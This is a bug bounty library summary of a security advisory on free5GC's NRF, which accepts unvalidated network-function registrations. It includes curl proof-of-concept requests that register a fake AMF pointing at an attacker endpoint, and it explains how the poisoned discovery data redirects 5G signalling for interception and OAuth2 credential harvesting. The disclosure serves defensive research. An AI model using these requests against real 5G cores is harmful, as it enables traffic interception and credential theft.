# free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints

free5GC NRF accepts NF registration profiles without TS 29.510 field validation, letting attackers register fake NFs with arbitrary service endpoints that get served via NFDiscover.

- Payout: Research
- Severity: critical
- Program: free5GC
- Found by: 980448499-mm
- Disclosed: 2026-08-28
- CVE: CVE-2026-55068
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x8mj-6p3q-g5pp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x8mj-6p3q-g5pp
- Tags: area:devices domain:api domain:network impact:data-leak impact:dos impact:internal-access kind:research platform:ghsa sev:critical tech:oauth tech:rest technique:fuzzing vuln:access-control vuln:auth-bypass vuln:dos vuln:misconfiguration

**Target:** NRF nnrf-nfm NF registration endpoint (PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID})
**Root cause:** RegisterNFInstance handler stores the NF profile body without field-level validation against 3GPP TS 29.510 (UUID format, enums, ranges, mandatory fields, IP endpoint integrity); MongoDB NfProfile collection has no schema validator.
**Steps:**
1. Send `PUT http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111` with JSON body declaring `nfType: AMF` and `nfServices[].ipEndPoints[].ipv4Address: 10.0.0.99`, port 7777 — returns HTTP 201
2. GET the same nf-instances URL — returns HTTP 200 with the fake 10.0.0.99:7777 endpoint stored
3. Query `GET /nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF` — fake AMF listed alongside real ones
4. Also accepted: `PUT /nnrf-nfm/v1/nf-instances/not-a-uuid` with `nfStatus: INVALID_STATUS`, `heartBeatTimer: 0` — returns HTTP 201
**How found:** Extracted 121 semantic constraints from 10 3GPP TS 29.5xx specs, modeled as a multi-relational interaction graph (CONDITIONAL/CONFLICT/SHARED_FIELD edges), generated 50,000 constraint-violating HTTP requests, detected 9,756 accepted-invalid responses, deduplicated to 17 unique violations across 5 root-cause categories.
**Exploitation:** Attacker with SBI network access (or a compromised NF holding a valid OAuth token) registers a fake AMF whose nfServices.ipEndPoints point to an attacker host. NRF stores and advertises it via NFDiscover; SMF selects the fake AMF and routes N1N2 control-plane signaling to the attacker endpoint, enabling interception and OAuth2 credential harvesting.
**Escalation:** Single forged profile propagates to the entire 5GC service mesh: every NF using NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) can be redirected; 27,601 profiles registered during testing show automated mass registration.
**Insight:** Spec-derived constraint graphs (enums, ranges, mandatory fields, cross-field integrity) fuzzed against registration/discovery APIs surface poisoning bugs that generic scanners miss; check whether stored profiles are re-served to other tenants via discovery.

## Proof of concept (copied exactly from the original report)

**curl PUT accepts non-UUID, invalid enum, bad timer**

```
curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \
  -H "Content-Type: application/json" \
  -d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}'
# Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted)
```

**curl NFDiscover shows fake AMF endpoint**

```
curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF"
# Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs
```